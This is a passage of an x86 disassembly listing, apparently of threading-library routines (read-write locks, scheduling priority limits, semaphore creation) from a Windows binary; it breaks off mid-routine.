push offset dword_510980
nop
call near ptr 7C9010EDh
loc_433123: ; CODE XREF: ___:004330DBj
; ___:004330F5j
test ebx, ebx
jz short loc_43312E
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43312E: ; CODE XREF: ___:00433125j
test edi, edi
mov eax, edi
jnz short loc_433140
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43313B: ; CODE XREF: ___:00433010j
; ___:0043301Aj ...
mov eax, 16h
loc_433140: ; CODE XREF: ___:00433041j
; ___:004330AAj ...
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4331B0: ; CODE XREF: ___:00401EA6j
push esi
push 4
push 1
xor esi, esi
call near ptr 77C2C0C3h
nop
add esp, 8
test eax, eax
jnz short loc_4331D3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4331D3: ; CODE XREF: ___:004331C2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433200: ; CODE XREF: ___:0040179Ej
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_433221
mov eax, [ecx]
test eax, eax
jz short loc_433221
push eax
mov [ecx], esi
call near ptr 77C2C21Bh
nop
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433221: ; CODE XREF: ___:00433209j
; ___:0043320Fj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433240: ; CODE XREF: ___:00401136j
mov eax, [esp+4]
test eax, eax
jz short loc_43325D
mov eax, [eax]
test eax, eax
jz short loc_43325D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_43325D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43325D: ; CODE XREF: ___:00433246j
; ___:0043324Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433280: ; CODE XREF: ___:004015A5j
mov eax, [esp+4]
test eax, eax
jz short loc_4332AA
mov ecx, [eax]
test ecx, ecx
jz short loc_4332AA
mov eax, [esp+8]
cmp eax, 1
jz short loc_43329E
test eax, eax
jnz short loc_4332AA
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_43329E: ; CODE XREF: ___:00433295j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_4332AA: ; CODE XREF: ___:00433286j
; ___:0043328Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4332C0: ; CODE XREF: ___:00402095j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43337A
mov eax, [esi]
test eax, eax
jz loc_43337A
cmp eax, 0FFFFFFFFh
jnz short loc_4332F4
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_4332F4
cmp eax, 10h
jnz loc_43337F
loc_4332F4: ; CODE XREF: ___:004332DCj
; ___:004332E9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43337A
push esi
call sub_402248
add esp, 4
test eax, eax
jnz short loc_43337F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43336D
lea edi, [esi+4]
push edi
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_43333D
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43333D: ; CODE XREF: ___:0043332Cj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43336D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43336D: ; CODE XREF: ___:0043331Aj
; ___:0043335Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43337A: ; CODE XREF: ___:004332C9j
; ___:004332D3j ...
mov eax, 16h
loc_43337F: ; CODE XREF: ___:004332EEj
; ___:0043330Aj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4333D0: ; CODE XREF: ___:004016A4j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43349F
mov eax, [esi]
test eax, eax
jz loc_43349F
cmp eax, 0FFFFFFFFh
jnz short loc_433404
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_433404
cmp eax, 10h
jnz loc_4334A4
loc_433404: ; CODE XREF: ___:004333ECj
; ___:004333F9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_43349F
mov ebx, [esp+14h]
push ebx
push esi
call sub_401BD6
add esp, 8
test eax, eax
jnz short loc_4334A4
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_433492
lea edi, [esi+4]
push ebx
push edi
call sub_401BD6
mov ebx, eax
add esp, 8
test ebx, ebx
jz short loc_433462
cmp ebx, 274Ch
jnz short loc_433453
inc dword ptr [esi+14h]
loc_433453: ; CODE XREF: ___:0043344Ej
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433462: ; CODE XREF: ___:00433446j
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_433492
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433492: ; CODE XREF: ___:00433433j
; ___:00433481j
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43349F: ; CODE XREF: ___:004333D9j
; ___:004333E3j ...
mov eax, 16h
loc_4334A4: ; CODE XREF: ___:004333FEj
; ___:00433423j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4334F0: ; CODE XREF: ___:004015D2j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_4335E6
mov eax, [esi]
test eax, eax
jz loc_4335E6
cmp eax, 0FFFFFFFFh
jnz short loc_433527
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_433527
cmp eax, 10h
jnz loc_4335EB
loc_433527: ; CODE XREF: ___:0043350Fj
; ___:0043351Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_4335E6
push esi
call sub_402248
add esp, 4
test eax, eax
jnz loc_4335EB
lea ebp, [esi+4]
push ebp
call sub_402248
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43356B
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43356B: ; CODE XREF: ___:00433557j
mov eax, [esi+10h]
test eax, eax
jnz short loc_4335DA
mov eax, [esi+14h]
test eax, eax
jle short loc_433588
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_433588: ; CODE XREF: ___:00433577j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_4335DA
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401861
push eax
call sub_401663
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_4335AB: ; CODE XREF: ___:004335C0j
push ebp
push ebx
call sub_401203
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_4335C2
mov eax, [esi+14h]
test eax, eax
jl short loc_4335AB
loc_4335C2: ; CODE XREF: ___:004335B9j
xor ecx, ecx
test edi, edi
setnz cl
push ecx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_4335DD
mov [esi+0Ch], edi
loc_4335DA: ; CODE XREF: ___:00433570j
; ___:0043358Dj
inc dword ptr [esi+10h]
loc_4335DD: ; CODE XREF: ___:004335D5j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4335E6: ; CODE XREF: ___:004334FCj
; ___:00433506j ...
mov eax, 16h
loc_4335EB: ; CODE XREF: ___:00433521j
; ___:00433541j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433650: ; CODE XREF: ___:00401960j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_433751
mov eax, [esi]
test eax, eax
jz loc_433751
cmp eax, 0FFFFFFFFh
jnz short loc_433687
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_433687
cmp eax, 10h
jnz loc_433756
loc_433687: ; CODE XREF: ___:0043366Fj
; ___:0043367Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_433751
mov edi, [esp+20h]
push edi
push esi
call sub_401BD6
add esp, 8
test eax, eax
jnz loc_433756
lea ebp, [esi+4]
push edi
push ebp
call sub_401BD6
mov edi, eax
add esp, 8
test edi, edi
jz short loc_4336D1
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4336D1: ; CODE XREF: ___:004336BDj
mov eax, [esi+10h]
test eax, eax
jnz short loc_433745
mov eax, [esi+14h]
test eax, eax
jle short loc_4336EE
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_4336EE: ; CODE XREF: ___:004336DDj
mov eax, [esi+0Ch]
test eax, eax
jle short loc_433745
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401861
push eax
call sub_401663
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_433711: ; CODE XREF: ___:0043372Bj
mov ecx, [esp+24h]
push ecx
push ebp
push ebx
call sub_4011E0
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_43372D
mov eax, [esi+14h]
test eax, eax
jl short loc_433711
loc_43372D: ; CODE XREF: ___:00433724j
xor edx, edx
test edi, edi
setnz dl
push edx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_433748
mov [esi+0Ch], edi
loc_433745: ; CODE XREF: ___:004336D6j
; ___:004336F3j
inc dword ptr [esi+10h]
loc_433748: ; CODE XREF: ___:00433740j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_433751: ; CODE XREF: ___:0043365Cj
; ___:00433666j ...
mov eax, 16h
loc_433756: ; CODE XREF: ___:00433681j
; ___:004336A6j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4337B0: ; CODE XREF: ___:004015C8j
mov eax, [esp+4]
push ebx
push esi
push edi
test eax, eax
jz short loc_433836
mov esi, [eax]
test esi, esi
jz short loc_433836
cmp esi, 0FFFFFFFFh
jnz short loc_4337CC
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4337CC: ; CODE XREF: ___:004337C4j
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_433836
mov eax, [esi+10h]
test eax, eax
jnz short loc_433814
lea ebx, [esi+4]
push ebx
call sub_402248
mov edi, eax
add esp, 4
test edi, edi
jz short loc_4337F2
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4337F2: ; CODE XREF: ___:004337ECj
mov eax, [esi+14h]
inc eax
mov [esi+14h], eax
jnz short loc_433809
add esi, 8
push esi
call sub_401E6F
add esp, 4
mov edi, eax
loc_433809: ; CODE XREF: ___:004337F9j
push ebx
call sub_4010C3
add esp, 4
jmp short loc_43382C
; ---------------------------------------------------------------------------
loc_433814: ; CODE XREF: ___:004337DAj
dec eax
mov [esi+10h], eax
lea eax, [esi+4]
push eax
call sub_4010C3
push esi
mov edi, eax
call sub_4010C3
add esp, 8
loc_43382C: ; CODE XREF: ___:00433812j
test edi, edi
jz short loc_43383B
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433836: ; CODE XREF: ___:004337B9j
; ___:004337BFj ...
mov eax, 16h
loc_43383B: ; CODE XREF: ___:0043382Ej
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433870: ; CODE XREF: ___:0040153Cj
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43392A
mov eax, [esi]
test eax, eax
jz loc_43392A
cmp eax, 0FFFFFFFFh
jnz short loc_4338A4
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_4338A4
cmp eax, 10h
jnz loc_43392F
loc_4338A4: ; CODE XREF: ___:0043388Cj
; ___:00433899j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43392A
push esi
call sub_401785
add esp, 4
test eax, eax
jnz short loc_43392F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43391D
lea edi, [esi+4]
push edi
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_4338ED
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4338ED: ; CODE XREF: ___:004338DCj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43391D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43391D: ; CODE XREF: ___:004338CAj
; ___:0043390Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43392A: ; CODE XREF: ___:00433879j
; ___:00433883j ...
mov eax, 16h
loc_43392F: ; CODE XREF: ___:0043389Ej
; ___:004338BAj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433980: ; CODE XREF: ___:00401FF0j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_433A61
mov eax, [esi]
test eax, eax
jz loc_433A61
cmp eax, 0FFFFFFFFh
jnz short loc_4339B4
push esi
call sub_40185C
add esp, 4
test eax, eax
jz short loc_4339B4
cmp eax, 10h
jnz loc_433A66
loc_4339B4: ; CODE XREF: ___:0043399Cj
; ___:004339A9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_433A61
push esi
call sub_401785
add esp, 4
test eax, eax
jnz loc_433A66
lea ebx, [esi+4]
push ebx
call sub_401785
mov edi, eax
add esp, 4
test edi, edi
jz short loc_4339F9
push esi
call sub_4010C3
add esp, 4
test eax, eax
jnz short loc_433A66
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4339F9: ; CODE XREF: ___:004339E4j
mov eax, [esi+10h]
test eax, eax
jnz short loc_433A49
mov eax, [esi+14h]
test eax, eax
jle short loc_433A16
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_433A16: ; CODE XREF: ___:00433A05j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_433A54
push ebx
call sub_4010C3
add esp, 4
mov edi, eax
test edi, edi
push esi
jz short loc_433A3B
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433A3B: ; CODE XREF: ___:00433A2Bj
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_433A4E
loc_433A49: ; CODE XREF: ___:004339FEj
mov edi, 10h
loc_433A4E: ; CODE XREF: ___:00433A47j
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433A54: ; CODE XREF: ___:00433A1Bj
mov eax, edi
mov dword ptr [esi+10h], 1
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433A61: ; CODE XREF: ___:00433989j
; ___:00433993j ...
mov eax, 16h
loc_433A66: ; CODE XREF: ___:004339AEj
; ___:004339CEj ...
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433AB0: ; CODE XREF: ___:00401C0Dj
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_433AC7
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_433AC7: ; CODE XREF: ___:00433ABFj
mov eax, [esp+8]
neg eax
sbb eax, eax
and eax, 30h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433AF0: ; CODE XREF: ___:00401EB5j
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433B17
mov eax, [esp+8]
test eax, eax
jz short loc_433B17
cmp eax, 2
jbe short loc_433B17
mov dword ptr [eax], 0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433B17: ; CODE XREF: ___:00433AFFj
; ___:00433B07j ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433B30: ; CODE XREF: ___:0040117Cj
push ebx
mov ebx, [esp+8]
push esi
push edi
push ebx
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433B76
mov edi, [esp+14h]
test edi, edi
jz short loc_433B76
mov esi, [edi]
push eax
call sub_401555
add esp, 4
cmp esi, eax
jl short loc_433B76
push 0
call sub_401442
add esp, 4
cmp esi, eax
jg short loc_433B76
mov eax, [ebx]
mov ecx, [edi]
pop edi
pop esi
mov [eax+10h], ecx
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433B76: ; CODE XREF: ___:00433B42j
; ___:00433B4Aj ...
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433BA0: ; CODE XREF: ___:00401EFBj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433BC5
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433BC5
mov ecx, [esi]
pop esi
mov edx, [ecx+10h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433BC5: ; CODE XREF: ___:00433BB0j
; ___:00433BB8j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433BE0: ; CODE XREF: ___:004015BEj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_433BF9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433BF9: ; CODE XREF: ___:00433BF0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433C0D
cmp eax, 1
jz short loc_433C0D
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433C0D: ; CODE XREF: ___:00433BFFj
; ___:00433C04j
mov ecx, [esi]
pop esi
mov [ecx+14h], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433C30: ; CODE XREF: ___:004019E7j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_433C55
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433C55
mov ecx, [esi]
pop esi
mov edx, [ecx+14h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433C55: ; CODE XREF: ___:00433C40j
; ___:00433C48j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433C70 proc near ; CODE XREF: sub_401050j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_433CB5
mov eax, [esp+4+arg_4]
test eax, eax
jl short loc_433CB0
cmp eax, 2
jg short loc_433CB0
test eax, eax
jz short loc_433C9C
mov eax, 30h
pop esi
retn
; ---------------------------------------------------------------------------
loc_433C9C: ; CODE XREF: sub_433C70+23j
mov eax, [esp+4+arg_8]
mov ecx, [eax]
push ecx
push 0
push esi
call sub_4020D1
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_433CB0: ; CODE XREF: sub_433C70+1Aj
; sub_433C70+1Fj
mov eax, 16h
loc_433CB5: ; CODE XREF: sub_433C70+12j
pop esi
retn
sub_433C70 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433CE0 proc near ; CODE XREF: sub_4020D1j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
mov edi, [esp+8+arg_4]
push edi
mov [esp+0Ch+arg_8], esi
call sub_401555
add esp, 4
cmp esi, eax
jl loc_433D85
push edi
call sub_401442
add esp, 4
cmp esi, eax
jg short loc_433D85
cmp esi, 0FFFFFFF1h
jle short loc_433D20
cmp esi, 0FFFFFFFEh
jge short loc_433D20
mov [esp+8+arg_8], 0FFFFFFFEh
jmp short loc_433D32
; ---------------------------------------------------------------------------
loc_433D20: ; CODE XREF: sub_433CE0+2Fj
; sub_433CE0+34j
cmp esi, 0Fh
jge short loc_433D32
cmp esi, 2
jle short loc_433D32
mov [esp+8+arg_8], 2
loc_433D32: ; CODE XREF: sub_433CE0+3Ej
; sub_433CE0+43j ...
mov edi, [esp+8+arg_0]
push ebx
push ebp
lea ebp, [edi+24h]
push ebp
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_433D7E
mov eax, [esp+10h+arg_8]
mov ecx, [edi+4]
push eax
push ecx
nop
call near ptr 2740801h
test eax, eax
jnz short loc_433D72
push ebp
mov ebx, 16h
call sub_4010C3
add esp, 4
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433D72: ; CODE XREF: sub_433CE0+7Bj
push ebp
mov [edi+28h], esi
call sub_4010C3
add esp, 4
loc_433D7E: ; CODE XREF: sub_433CE0+68j
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433D85: ; CODE XREF: sub_433CE0+19j
; sub_433CE0+2Aj
pop edi
mov eax, 16h
pop esi
retn
sub_433CE0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433DC0 proc near ; CODE XREF: sub_4021B2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401762
add esp, 8
test eax, eax
jnz short loc_433DF9
mov ecx, [esp+4+arg_4]
cmp ecx, 2
jbe short loc_433DF4
mov eax, [esp+4+arg_8]
test eax, eax
jz short loc_433DF4
mov dword ptr [ecx], 0
mov ecx, [esi+28h]
mov [eax], ecx
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_433DF4: ; CODE XREF: sub_433DC0+1Bj
; sub_433DC0+23j
mov eax, 16h
loc_433DF9: ; CODE XREF: sub_433DC0+12j
pop esi
retn
sub_433DC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433E10 proc near ; CODE XREF: sub_401442j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_433E23
cmp eax, 2
jg short loc_433E23
mov eax, 0Fh
retn
; ---------------------------------------------------------------------------
loc_433E23: ; CODE XREF: sub_433E10+6j
; sub_433E10+Bj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_433E10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433E50 proc near ; CODE XREF: sub_401555j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_433E63
cmp eax, 2
jg short loc_433E63
mov eax, 0FFFFFFF1h
retn
; ---------------------------------------------------------------------------
loc_433E63: ; CODE XREF: sub_433E50+6j
; sub_433E50+Bj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_433E50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433E90: ; CODE XREF: ___:00401ADCj
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433ED5
call near ptr 27407CAh
nop
cmp esi, eax
jz short loc_433ED5
push esi
push 0
push 200h
nop
call near ptr 2700000h
test eax, eax
jnz short loc_433ED5
nop
call near ptr 27C08B7h
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433ED5: ; CODE XREF: ___:00433E97j
; ___:00433EA1j ...
mov eax, [esp+0Ch]
test eax, eax
jz short loc_433EEE
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433EEE: ; CODE XREF: ___:00433EDBj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433F20: ; CODE XREF: ___:00401514j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433F65
nop
call near ptr 27407CAh
cmp esi, eax
jz short loc_433F65
push esi
push 0
push 400h
nop
call near ptr 2700000h
test eax, eax
jnz short loc_433F65
nop
call near ptr 27C08B7h
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433F65: ; CODE XREF: ___:00433F27j
; ___:00433F31j ...
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433F90: ; CODE XREF: ___:00401B5Ej
push 0
call near ptr 2831CE8h
nop
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433FB0 proc near ; CODE XREF: sub_401C8Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
xor edi, edi
test eax, eax
jz short loc_433FCF
mov edi, 1
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_433FCF: ; CODE XREF: sub_433FB0+Aj
push 4
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_433FE7
mov edi, 0Ch
loc_433FE7: ; CODE XREF: sub_433FB0+30j
mov eax, [esp+8+arg_8]
push 0
push 3FFFFFFFh
push eax
push 0
nop
call near ptr 274020Bh
test eax, eax
mov [esi], eax
jnz short loc_434014
mov edi, 1Ch
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434014: ; CODE XREF: sub_433FB0+4Fj
test edi, edi
jz short loc_434026
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_434026: ; CODE XREF: sub_433FB0+66j
